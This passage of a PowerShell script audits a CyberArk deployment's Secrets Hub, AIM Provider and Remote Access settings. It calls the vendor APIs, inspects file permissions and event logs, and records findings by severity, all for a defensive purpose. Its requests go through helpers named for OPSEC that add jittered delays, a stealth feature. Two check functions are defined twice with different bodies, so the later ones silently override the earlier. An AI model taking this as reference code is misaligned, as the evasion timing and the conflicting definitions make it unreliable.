-ExpectedValue "Scoped to specific safes/filters" ` -Recommendation "Restrict sync scope to specific safes or secret filters for $targetName" ` -Severity "Medium" } # Check 5: Last credential rotation if ($target.credentialLastRotated) { $lastRotation = [DateTime]::Parse($target.credentialLastRotated) $daysSinceRotation = ((Get-Date) - $lastRotation).TotalDays if ($daysSinceRotation -gt 90) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Stale sync target credentials" ` -Resource $targetName ` -CurrentValue "Credentials last rotated: $([math]::Round($daysSinceRotation)) days ago" ` -ExpectedValue "Rotation within 90 days" ` -Recommendation "Rotate credentials for $targetName sync target" ` -Severity "Medium" } } } if ($response.targets.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "No sync targets configured" ` -Resource "Target Configuration" ` -CurrentValue "0 targets" ` -ExpectedValue "At least one sync target" ` -Recommendation "Configure sync targets for cloud secret stores" ` -Severity "Medium" } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -in @(401, 403)) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH5" ` -CheckName "Target Configuration" ` -Reason "Access denied to targets API" ` -Type "AccessDenied" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH5" ` -CheckName "Target Configuration" ` -Reason "Error checking target configuration: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubAuditLogging { <# .SYNOPSIS SH6: Verify audit completeness for Secrets Hub operations #> Write-AuditLog "Checking Secrets Hub audit logging (SH6)..." -Level Info try { $auditEndpoint = "$($script:SecretsHubUrl)/api/audit/config" $headers = @{ "Authorization" = "Bearer $($script:AuthToken)" "Content-Type" = "application/json" } if ($script:RequestDelay -gt 0) { $delay = Get-OPSECDelay -BaseDelay $script:RequestDelay -Jitter $script:Jitter Start-Sleep -Milliseconds $delay } try { $response = Invoke-RestMethod -Uri $auditEndpoint -Method GET -Headers $headers -TimeoutSec 30 -ErrorAction Stop # Check 1: Audit logging enabled if ($response.auditEnabled -eq $false) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Secrets Hub audit logging disabled" ` -Resource "Audit Configuration" ` -CurrentValue "Audit logging: Disabled" ` -ExpectedValue "Audit logging: Enabled" ` -Recommendation "Enable comprehensive audit logging for all Secrets Hub operations" ` -Severity "Critical" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Audit logging enabled" ` -Resource "Audit Configuration" ` -CurrentValue "Audit logging: Enabled" ` -ExpectedValue "Audit logging: Enabled" ` -Severity "Info" ` -Status "Pass" } # Check 2: SIEM integration if (-not $response.siemIntegration -or $response.siemIntegration.enabled -eq $false) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "No SIEM integration for Secrets Hub" ` -Resource "Audit Forwarding" ` -CurrentValue "SIEM integration: Not configured" ` -ExpectedValue "SIEM integration: Enabled" ` -Recommendation "Configure SIEM integration to forward Secrets Hub audit events" ` -Severity "Medium" } else { # Check SIEM health if ($response.siemIntegration.status -ne "Healthy") { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "SIEM integration unhealthy" ` -Resource "Audit Forwarding" ` -CurrentValue "SIEM status: $($response.siemIntegration.status)" ` -ExpectedValue "SIEM status: Healthy" ` -Recommendation "Investigate SIEM integration issues. Check connectivity and credentials." ` -Severity "High" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "SIEM integration healthy" ` -Resource "Audit Forwarding" ` -CurrentValue "SIEM: $($response.siemIntegration.type) - Healthy" ` -ExpectedValue "SIEM integration active" ` -Severity "Info" ` -Status "Pass" } } # Check 3: Audit retention if ($response.retentionDays -and $response.retentionDays -lt 90) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Insufficient audit retention" ` -Resource "Audit Retention" ` -CurrentValue "Retention: $($response.retentionDays) days" ` -ExpectedValue "Retention >= 90 days (365 recommended)" ` -Recommendation "Increase audit log retention to meet compliance requirements" ` -Severity "Medium" } # Check 4: Logged event types if ($response.loggedEvents) { $requiredEvents = @("SecretSync", "TargetCreate", "TargetModify", "TargetDelete", "ConfigChange", "AuthFailure") $missingEvents = $requiredEvents | Where-Object { $_ -notin $response.loggedEvents } if ($missingEvents.Count -gt 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Incomplete audit event coverage" ` -Resource "Audit Events" ` -CurrentValue "Missing events: $($missingEvents -join ', ')" ` -ExpectedValue "All critical events logged" ` -Recommendation "Enable logging for all event types: $($missingEvents -join ', ')" ` -Severity "Medium" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Comprehensive audit event logging" ` -Resource "Audit Events" ` -CurrentValue "All critical events logged" ` -ExpectedValue "Complete event coverage" ` -Severity "Info" ` -Status "Pass" } } } catch { $statusCode = $_.Exception.Response.StatusCode.value__ if ($statusCode -in @(401, 403)) { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH6" ` -CheckName "Audit Logging" ` -Reason "Access denied to audit configuration API" ` -Type "AccessDenied" } elseif ($statusCode -eq 404) { # Try alternative check via PVWA Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Unable to verify Secrets Hub audit configuration" ` -Resource "Audit Logging" ` -CurrentValue "Audit API not accessible" ` -ExpectedValue "Audit configuration verifiable" ` -Recommendation "Manually verify Secrets Hub audit logging is enabled and forwarding to SIEM" ` -Severity "Medium" } else { throw $_ } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH6" ` -CheckName "Audit Logging" ` -Reason "Error checking audit configuration: $($_.Exception.Message)" ` -Type "Error" } } #====================================================================== # AIM PROVIDER CHECKS (MID7-MID9) #====================================================================== function Test-AIMProviderSecurity { Write-AuditLog "Running AIM Provider Security Checks..." -Level Info Test-AIMProviderDeployment Test-AIMProviderConfiguration Test-AIMProviderConnectivity } function Test-AIMProviderDeployment { Write-AuditLog "Checking AIM Provider deployment (MID7)..." -Level Info try { # Check for AIM/CP installation $aimPaths = @( "C:\Program Files (x86)\CyberArk\ApplicationPasswordProvider", "C:\Program Files\CyberArk\ApplicationPasswordProvider", "C:\Program Files (x86)\CyberArk\ApplicationPasswordSdk", "C:\Program Files\CyberArk\ApplicationPasswordSdk" ) $aimInstalled = $false $aimPath = $null foreach ($path in $aimPaths) { if (Test-Path $path) { $aimInstalled = $true $aimPath = $path break } } if ($aimInstalled) { # Check for running service $aimService = Get-Service -Name "CyberArk Application Password Provider" -ErrorAction SilentlyContinue if ($aimService -and $aimService.Status -eq "Running") { Add-Finding -Category "Machine Identity" ` -CISControl "MID7" ` -Finding "AIM Provider installed and running" ` -Resource "AIM Provider" ` -CurrentValue "Installed at $aimPath; Service: Running" ` -ExpectedValue "AIM Provider operational" ` -Severity "Info" ` -Status "Pass" } elseif ($aimService) { Add-Finding -Category "Machine Identity" ` -CISControl "MID7" ` -Finding "AIM Provider service not running" ` -Resource "AIM Provider" ` -CurrentValue "Service status: $($aimService.Status)" ` -ExpectedValue "Running" ` -Recommendation "Start the AIM Provider service" ` -Severity "High" } else { Add-Finding -Category "Machine Identity" ` -CISControl "MID7" ` -Finding "AIM Provider installed but service not found" ` -Resource "AIM Provider" ` -CurrentValue "Installation found at $aimPath" ` -ExpectedValue "Service registered and running" ` -Recommendation "Verify AIM Provider installation" ` -Severity "Medium" } } else { Add-Finding -Category "Machine Identity" ` -CISControl "MID7" ` -Finding "AIM Provider not installed on this server" ` -Resource "AIM Provider" ` -CurrentValue "Not installed" ` -ExpectedValue "AIM Provider for application credential access" ` -Recommendation "Deploy AIM Provider on application servers that need credential access" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID7" ` -CheckName "AIM Provider Deployment" ` -Reason "Error checking AIM Provider: $($_.Exception.Message)" ` -Type "Error" } } function Test-AIMProviderConfiguration { Write-AuditLog "Checking AIM Provider configuration (MID8)..." -Level Info try { # Check for AIM configuration file $configPaths = @( "C:\Program Files (x86)\CyberArk\ApplicationPasswordProvider\Vault\vault.ini", "C:\Program Files\CyberArk\ApplicationPasswordProvider\Vault\vault.ini" ) $configFound = $false foreach ($path in $configPaths) { if (Test-Path $path) { $configFound = $true # Check configuration file permissions $acl = Get-Acl $path -ErrorAction SilentlyContinue $hasWeakPerms = $false foreach ($ace in $acl.Access) { if ($ace.IdentityReference -match "Users|Everyone") { if ($ace.FileSystemRights -match "Read|FullControl") { $hasWeakPerms = $true } } } if ($hasWeakPerms) { Add-Finding -Category "Machine Identity" ` -CISControl "MID8" ` -Finding "AIM Provider config has weak permissions" ` -Resource "vault.ini" ` -CurrentValue "Readable by non-admin users" ` -ExpectedValue "Restricted to administrators" ` -Recommendation "Restrict AIM Provider configuration file permissions" ` -Severity "High" } else { Add-Finding -Category "Machine Identity" ` -CISControl "MID8" ` -Finding "AIM Provider configuration secured" ` -Resource "vault.ini" ` -CurrentValue "Properly secured" ` -ExpectedValue "Restricted permissions" ` -Severity "Info" ` -Status "Pass" } break } } if (-not $configFound) { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID8" ` -CheckName "AIM Provider Configuration" ` -Reason "AIM Provider configuration file not found" ` -Type "NotApplicable" } } catch { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID8" ` -CheckName "AIM Provider Configuration" ` -Reason "Error checking configuration: $($_.Exception.Message)" ` -Type "Error" } } function Test-AIMProviderConnectivity { Write-AuditLog "Checking AIM Provider Vault connectivity (MID9)..." -Level Info try { # Check AIM Provider event log for connectivity status $aimEvents = Get-WinEvent -LogName Application -MaxEvents 50 -ErrorAction SilentlyContinue | Where-Object { $_.ProviderName -match "CyberArk|AIM|ApplicationPassword" } if ($aimEvents) { $errorEvents = $aimEvents | Where-Object { $_.LevelDisplayName -eq "Error" } if ($errorEvents.Count -gt 0) { Add-Finding -Category "Machine Identity" ` -CISControl "MID9" ` -Finding "AIM Provider connectivity issues detected" ` -Resource "AIM Provider Events" ` -CurrentValue "$($errorEvents.Count) errors in recent events" ` -ExpectedValue "No connectivity errors" ` -Recommendation "Review AIM Provider logs and Vault connectivity" ` -Severity "High" } else { Add-Finding -Category "Machine Identity" ` -CISControl "MID9" ` -Finding "AIM Provider connectivity healthy" ` -Resource "AIM Provider Events" ` -CurrentValue "No recent errors" ` -ExpectedValue "Healthy connectivity" ` -Severity "Info" ` -Status "Pass" } } else { Add-Finding -Category "Machine Identity" ` -CISControl "MID9" ` -Finding "AIM Provider connectivity (manual verification)" ` -Resource "AIM Provider" ` -CurrentValue "No recent AIM events found" ` -ExpectedValue "Verify Vault connectivity" ` -Recommendation "Check AIM Provider logs for connectivity status" ` -Severity "Info" ` -Status "Pass" } } catch { Add-SkippedCheck -Category "Machine Identity" -CISControl "MID9" ` -CheckName "AIM Provider Connectivity" ` -Reason "Error checking connectivity: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Secrets Hub Integration function Test-SecretsHubIntegration { Write-AuditLog "Starting Secrets Hub security checks..." -Level Info if (-not $IncludeSecretsHubChecks -and -not $SecretsHubUrl) { Write-AuditLog "Secrets Hub checks skipped (use -IncludeSecretsHubChecks)" -Level Info return } Test-SecretsHubSyncStatus Test-SecretsHubLatency Test-SecretsHubVersionDrift Test-SecretsHubSyncFailures Test-SecretsHubTargetConfig Test-SecretsHubAuditLogging } function Test-SecretsHubSyncStatus { # SH1: Check sync health to AWS/Azure/GCP Write-AuditLog "Checking Secrets Hub sync status (SH1)..." -Level Info try { if ($SecretsHubUrl) { $syncEndpoint = "$SecretsHubUrl/api/sync/status" $response = Invoke-OPSECWebRequest -Uri $syncEndpoint -Method GET -ErrorAction SilentlyContinue if ($response -and $response.StatusCode -eq 200) { $syncData = $response.Content | ConvertFrom-Json -ErrorAction SilentlyContinue if ($syncData.status -eq "Healthy" -or $syncData.syncStatus -eq "Active") { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Secrets Hub sync is healthy" ` -Resource "Secrets Hub" ` -CurrentValue "Sync Status: Active/Healthy" ` -ExpectedValue "Active sync" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Secrets Hub sync may be unhealthy" ` -Resource "Secrets Hub" ` -CurrentValue "Status: $($syncData.status)" ` -ExpectedValue "Active/Healthy sync" ` -Recommendation "Review Secrets Hub configuration and connectivity to cloud providers" ` -Severity "High" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Unable to retrieve Secrets Hub sync status" ` -Resource $SecretsHubUrl ` -CurrentValue "API not accessible or returned error" ` -ExpectedValue "Accessible sync status endpoint" ` -Recommendation "Verify Secrets Hub URL and API access" ` -Severity "Medium" } } else { # Check via PVWA API for Secrets Hub configuration if ($script:AuthToken) { $secretsHubConfig = Invoke-CyberArkAPI -Endpoint "SecretsHub/Configuration" -ErrorAction SilentlyContinue if ($secretsHubConfig) { $activeTargets = @($secretsHubConfig.targets | Where-Object { $_.enabled -eq $true }) if ($activeTargets.Count -gt 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Secrets Hub configured with active targets" ` -Resource "Secrets Hub Configuration" ` -CurrentValue "$($activeTargets.Count) active sync targets" ` -ExpectedValue "Active sync configuration" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "No active Secrets Hub sync targets" ` -Resource "Secrets Hub Configuration" ` -CurrentValue "0 active targets" ` -ExpectedValue "At least one active sync target" ` -Recommendation "Configure and enable Secrets Hub sync targets for cloud secret stores" ` -Severity "Medium" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH1" ` -Finding "Secrets Hub not configured or not accessible" ` -Resource "PVWA" ` -CurrentValue "No Secrets Hub configuration found" ` -ExpectedValue "Secrets Hub configured for cloud sync" ` -Recommendation "Consider deploying Secrets Hub for cloud-native secrets management" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Secrets Hub Sync Status" ` -Reason "Authentication required and no SecretsHubUrl provided" ` -Type "MissingConfig" } } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH1" ` -CheckName "Secrets Hub Sync Status" ` -Reason "Error checking sync status: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubLatency { # SH2: Measure sync delay Write-AuditLog "Checking Secrets Hub sync latency (SH2)..." -Level Info try { if ($script:AuthToken) { $syncMetrics = Invoke-CyberArkAPI -Endpoint "SecretsHub/Metrics" -ErrorAction SilentlyContinue if ($syncMetrics -and $syncMetrics.averageSyncLatencyMs) { $latencyMs = $syncMetrics.averageSyncLatencyMs $latencyThresholdMs = 5000 # 5 second threshold if ($latencyMs -lt $latencyThresholdMs) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Secrets Hub sync latency is acceptable" ` -Resource "Secrets Hub Metrics" ` -CurrentValue "$latencyMs ms average latency" ` -ExpectedValue "< $latencyThresholdMs ms" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "High Secrets Hub sync latency detected" ` -Resource "Secrets Hub Metrics" ` -CurrentValue "$latencyMs ms average latency" ` -ExpectedValue "< $latencyThresholdMs ms" ` -Recommendation "Investigate network connectivity and cloud provider endpoints. High latency may cause secret version inconsistencies." ` -Severity "Medium" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH2" ` -Finding "Secrets Hub latency metrics not available" ` -Resource "Secrets Hub" ` -CurrentValue "Metrics endpoint not accessible" ` -ExpectedValue "Latency monitoring enabled" ` -Recommendation "Enable Secrets Hub performance monitoring" ` -Severity "Low" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH2" ` -CheckName "Secrets Hub Latency" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH2" ` -CheckName "Secrets Hub Latency" ` -Reason "Error checking latency: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubVersionDrift { # SH3: Compare versions across destinations Write-AuditLog "Checking Secrets Hub version drift (SH3)..." -Level Info try { if ($script:AuthToken) { $syncStatus = Invoke-CyberArkAPI -Endpoint "SecretsHub/SyncStatus" -ErrorAction SilentlyContinue if ($syncStatus -and $syncStatus.secrets) { $driftedSecrets = @($syncStatus.secrets | Where-Object { $_.sourceVersion -ne $_.targetVersion -or $_.syncState -eq "OutOfSync" }) if ($driftedSecrets.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "No secret version drift detected" ` -Resource "Secrets Hub" ` -CurrentValue "All secrets in sync" ` -ExpectedValue "No version drift" ` -Severity "Info" ` -Status "Pass" } elseif ($driftedSecrets.Count -le 5) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "Minor secret version drift detected" ` -Resource "Secrets Hub" ` -CurrentValue "$($driftedSecrets.Count) secrets out of sync" ` -ExpectedValue "All secrets synchronized" ` -Recommendation "Review and resync out-of-date secrets. This may indicate sync failures or timing issues." ` -Severity "Medium" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "Significant secret version drift detected" ` -Resource "Secrets Hub" ` -CurrentValue "$($driftedSecrets.Count) secrets out of sync" ` -ExpectedValue "All secrets synchronized" ` -Recommendation "Immediate investigation required. Large-scale drift may indicate sync failures or cloud provider connectivity issues." ` -Severity "High" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH3" ` -Finding "Unable to assess secret version drift" ` -Resource "Secrets Hub" ` -CurrentValue "Sync status not available" ` -ExpectedValue "Version drift monitoring" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH3" ` -CheckName "Secrets Hub Version Drift" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH3" ` -CheckName "Secrets Hub Version Drift" ` -Reason "Error checking version drift: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubSyncFailures { # SH4: Detect failed syncs Write-AuditLog "Checking Secrets Hub sync failures (SH4)..." -Level Info try { if ($script:AuthToken) { $syncLogs = Invoke-CyberArkAPI -Endpoint "SecretsHub/SyncLogs?limit=100" -ErrorAction SilentlyContinue if ($syncLogs -and $syncLogs.logs) { $recentFailures = @($syncLogs.logs | Where-Object { $_.status -eq "Failed" -and ([DateTime]$_.timestamp) -gt (Get-Date).AddHours(-24) }) if ($recentFailures.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "No recent sync failures detected" ` -Resource "Secrets Hub Logs" ` -CurrentValue "0 failures in last 24 hours" ` -ExpectedValue "No sync failures" ` -Severity "Info" ` -Status "Pass" } else { $failureDetails = ($recentFailures | Select-Object -First 5 | ForEach-Object { $_.targetName }) -join ", " Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "Secrets Hub sync failures detected" ` -Resource "Secrets Hub" ` -CurrentValue "$($recentFailures.Count) failures in last 24h. Targets: $failureDetails" ` -ExpectedValue "No sync failures" ` -Recommendation "Investigate failed syncs. Check cloud provider credentials, network connectivity, and target permissions." ` -Severity "High" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH4" ` -Finding "Secrets Hub sync logs not accessible" ` -Resource "Secrets Hub" ` -CurrentValue "Log endpoint not available" ` -ExpectedValue "Sync failure monitoring enabled" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH4" ` -CheckName "Secrets Hub Sync Failures" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH4" ` -CheckName "Secrets Hub Sync Failures" ` -Reason "Error checking sync failures: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubTargetConfig { # SH5: Validate target configuration Write-AuditLog "Checking Secrets Hub target configuration (SH5)..." -Level Info try { if ($script:AuthToken) { $targets = Invoke-CyberArkAPI -Endpoint "SecretsHub/Targets" -ErrorAction SilentlyContinue if ($targets -and $targets.targets) { $issues = @() foreach ($target in $targets.targets) { # Check for insecure configurations if ($target.useIAMRole -eq $false -and $target.type -match "AWS") { $issues += "AWS target '$($target.name)' not using IAM roles" } if ($target.useManagedIdentity -eq $false -and $target.type -match "Azure") { $issues += "Azure target '$($target.name)' not using Managed Identity" } if ($target.useWorkloadIdentity -eq $false -and $target.type -match "GCP") { $issues += "GCP target '$($target.name)' not using Workload Identity" } if ($target.tlsVerification -eq $false) { $issues += "Target '$($target.name)' has TLS verification disabled" } } if ($issues.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Secrets Hub targets securely configured" ` -Resource "Secrets Hub Targets" ` -CurrentValue "$($targets.targets.Count) targets with secure configuration" ` -ExpectedValue "Secure target configuration" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "Secrets Hub target configuration issues" ` -Resource "Secrets Hub Targets" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "IAM roles, Managed Identity, Workload Identity enabled; TLS verification enabled" ` -Recommendation "Use cloud-native identity federation instead of static credentials. Enable TLS verification for all targets." ` -Severity "High" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH5" ` -Finding "No Secrets Hub targets configured" ` -Resource "Secrets Hub" ` -CurrentValue "No targets found" ` -ExpectedValue "Configured sync targets" ` -Recommendation "Configure Secrets Hub targets for AWS Secrets Manager, Azure Key Vault, or GCP Secret Manager" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH5" ` -CheckName "Secrets Hub Target Configuration" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH5" ` -CheckName "Secrets Hub Target Configuration" ` -Reason "Error checking target configuration: $($_.Exception.Message)" ` -Type "Error" } } function Test-SecretsHubAuditLogging { # SH6: Verify audit completeness Write-AuditLog "Checking Secrets Hub audit logging (SH6)..." -Level Info try { if ($script:AuthToken) { $auditConfig = Invoke-CyberArkAPI -Endpoint "SecretsHub/AuditConfiguration" -ErrorAction SilentlyContinue if ($auditConfig) { $issues = @() if ($auditConfig.auditEnabled -ne $true) { $issues += "Audit logging not enabled" } if ($auditConfig.logSyncOperations -ne $true) { $issues += "Sync operation logging disabled" } if ($auditConfig.logAccessEvents -ne $true) { $issues += "Access event logging disabled" } if ($auditConfig.siemIntegration -ne $true -and $auditConfig.syslogEnabled -ne $true) { $issues += "No SIEM/Syslog integration configured" } if ($issues.Count -eq 0) { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Secrets Hub audit logging properly configured" ` -Resource "Secrets Hub Audit" ` -CurrentValue "Full audit logging enabled with SIEM integration" ` -ExpectedValue "Complete audit trail" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Secrets Hub audit logging gaps" ` -Resource "Secrets Hub Audit" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "Full audit logging with SIEM integration" ` -Recommendation "Enable comprehensive audit logging and integrate with SIEM for security monitoring" ` -Severity "Medium" } } else { Add-Finding -Category "Secrets Hub" ` -CISControl "SH6" ` -Finding "Unable to verify Secrets Hub audit configuration" ` -Resource "Secrets Hub" ` -CurrentValue "Audit configuration not accessible" ` -ExpectedValue "Audit logging verification" ` -Recommendation "Manually verify Secrets Hub audit logging configuration" ` -Severity "Low" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH6" ` -CheckName "Secrets Hub Audit Logging" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Secrets Hub" -CISControl "SH6" ` -CheckName "Secrets Hub Audit Logging" ` -Reason "Error checking audit logging: $($_.Exception.Message)" ` -Type "Error" } } #endregion #region Remote Access / Alero function Test-RemoteAccessSecurity { Write-AuditLog "Starting Remote Access/Alero security checks..." -Level Info if (-not $IncludeRemoteAccessChecks -and -not $AleroUrl) { Write-AuditLog "Remote Access checks skipped (use -IncludeRemoteAccessChecks)" -Level Info return } Test-VendorInvitationWorkflow Test-RemoteSessionTimeLimits Test-BiometricBinding Test-RemoteAccessAudit Test-VendorAccessReview Test-RemoteAccessMFA } function Test-VendorInvitationWorkflow { # RA1: Invitation expiry, approval workflow Write-AuditLog "Checking vendor invitation workflow (RA1)..." -Level Info try { # Note: $AleroUrl can be used for future direct Alero API calls when available if ($script:AuthToken) { $invitationSettings = Invoke-CyberArkAPI -Endpoint "RemoteAccess/InvitationSettings" -ErrorAction SilentlyContinue if ($invitationSettings) { $issues = @() # Check invitation expiry if ($invitationSettings.invitationExpiryHours -gt 72) { $issues += "Invitation expiry too long: $($invitationSettings.invitationExpiryHours) hours (max recommended: 72)" } # Check approval workflow if ($invitationSettings.requireApproval -ne $true) { $issues += "Approval workflow not required for vendor invitations" } # Check email verification if ($invitationSettings.requireEmailVerification -ne $true) { $issues += "Email verification not required" } if ($issues.Count -eq 0) { Add-Finding -Category "Remote Access" ` -CISControl "RA1" ` -Finding "Vendor invitation workflow properly configured" ` -Resource "Remote Access" ` -CurrentValue "Approval required, expiry: $($invitationSettings.invitationExpiryHours)h" ` -ExpectedValue "Secure invitation workflow" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA1" ` -Finding "Vendor invitation workflow security issues" ` -Resource "Remote Access" ` -CurrentValue ($issues -join "; ") ` -ExpectedValue "Approval workflow, email verification, <72h expiry" ` -Recommendation "Enable approval workflow, require email verification, and set invitation expiry to 72 hours or less" ` -Severity "Medium" } } else { Add-Finding -Category "Remote Access" ` -CISControl "RA1" ` -Finding "Remote Access/Alero not configured or not accessible" ` -Resource "Remote Access" ` -CurrentValue "Configuration not available" ` -ExpectedValue "Secure vendor access configuration" ` -Recommendation "Configure CyberArk Remote Access (Alero) for secure third-party access" ` -Severity "Info" ` -Status "Pass" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA1" ` -CheckName "Vendor Invitation Workflow" ` -Reason "Authentication required for API access" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA1" ` -CheckName "Vendor Invitation Workflow" ` -Reason "Error checking invitation workflow: $($_.Exception.Message)" ` -Type "Error" } } function Test-RemoteSessionTimeLimits { # RA2: Max session duration enforcement Write-AuditLog "Checking remote session time limits (RA2)..." -Level Info try { if ($script:AuthToken) { $sessionPolicy = Invoke-CyberArkAPI -Endpoint "RemoteAccess/SessionPolicy" -ErrorAction SilentlyContinue if ($sessionPolicy) { $maxSessionHours = $sessionPolicy.maxSessionDurationMinutes / 60 $recommendedMaxHours = 8 if ($maxSessionHours -le $recommendedMaxHours) { Add-Finding -Category "Remote Access" ` -CISControl "RA2" ` -Finding "Remote session time limits properly configured" ` -Resource "Remote Access Policy" ` -CurrentValue "Max session: $maxSessionHours hours" ` -ExpectedValue "<= $recommendedMaxHours hours" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA2" ` -Finding "Remote session time limit too long" ` -Resource "Remote Access Policy" ` -CurrentValue "Max session: $maxSessionHours hours" ` -ExpectedValue "<= $recommendedMaxHours hours" ` -Recommendation "Reduce maximum session duration to 8 hours or less for vendor sessions" ` -Severity "Medium" } # Check idle timeout if ($sessionPolicy.idleTimeoutMinutes -and $sessionPolicy.idleTimeoutMinutes -gt 30) { Add-Finding -Category "Remote Access" ` -CISControl "RA2" ` -Finding "Remote session idle timeout too long" ` -Resource "Remote Access Policy" ` -CurrentValue "Idle timeout: $($sessionPolicy.idleTimeoutMinutes) minutes" ` -ExpectedValue "<= 30 minutes" ` -Recommendation "Set idle timeout to 30 minutes or less" ` -Severity "Low" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA2" ` -CheckName "Remote Session Time Limits" ` -Reason "Session policy not accessible" ` -Type "MissingConfig" } } else { Add-SkippedCheck -Category "Remote Access" -CISControl "RA2" ` -CheckName "Remote Session Time Limits" ` -Reason "Authentication required" ` -Type "NotAuthenticated" } } catch { Add-SkippedCheck -Category "Remote Access" -CISControl "RA2" ` -CheckName "Remote Session Time Limits" ` -Reason "Error checking session limits: $($_.Exception.Message)" ` -Type "Error" } } function Test-BiometricBinding { # RA3: Device/biometric requirements Write-AuditLog "Checking biometric/device binding (RA3)..." -Level Info try { if ($script:AuthToken) { $authPolicy = Invoke-CyberArkAPI -Endpoint "RemoteAccess/AuthenticationPolicy" -ErrorAction SilentlyContinue if ($authPolicy) { $issues = @() if ($authPolicy.requireBiometric -ne $true -and $authPolicy.biometricEnabled -ne $true) { $issues += "Biometric authentication not required" } if ($authPolicy.deviceBinding -ne $true -and $authPolicy.trustedDeviceRequired -ne $true) { $issues += "Device binding/trusted device not enforced" } if ($authPolicy.allowUntrustedDevices -eq $true) { $issues += "Access from untrusted devices allowed" } if ($issues.Count -eq 0) { Add-Finding -Category "Remote Access" ` -CISControl "RA3" ` -Finding "Biometric/device binding properly enforced" ` -Resource "Remote Access Authentication" ` -CurrentValue "Biometric and device binding enabled" ` -ExpectedValue "Strong authentication for remote access" ` -Severity "Info" ` -Status "Pass" } else { Add-Finding -Category "Remote Access" ` -CISControl "RA3" ` -Finding "Weak remote access authentication" ` -Resource "Remote Access Authentication" ` -CurrentValue ($issues -join "; ") ` 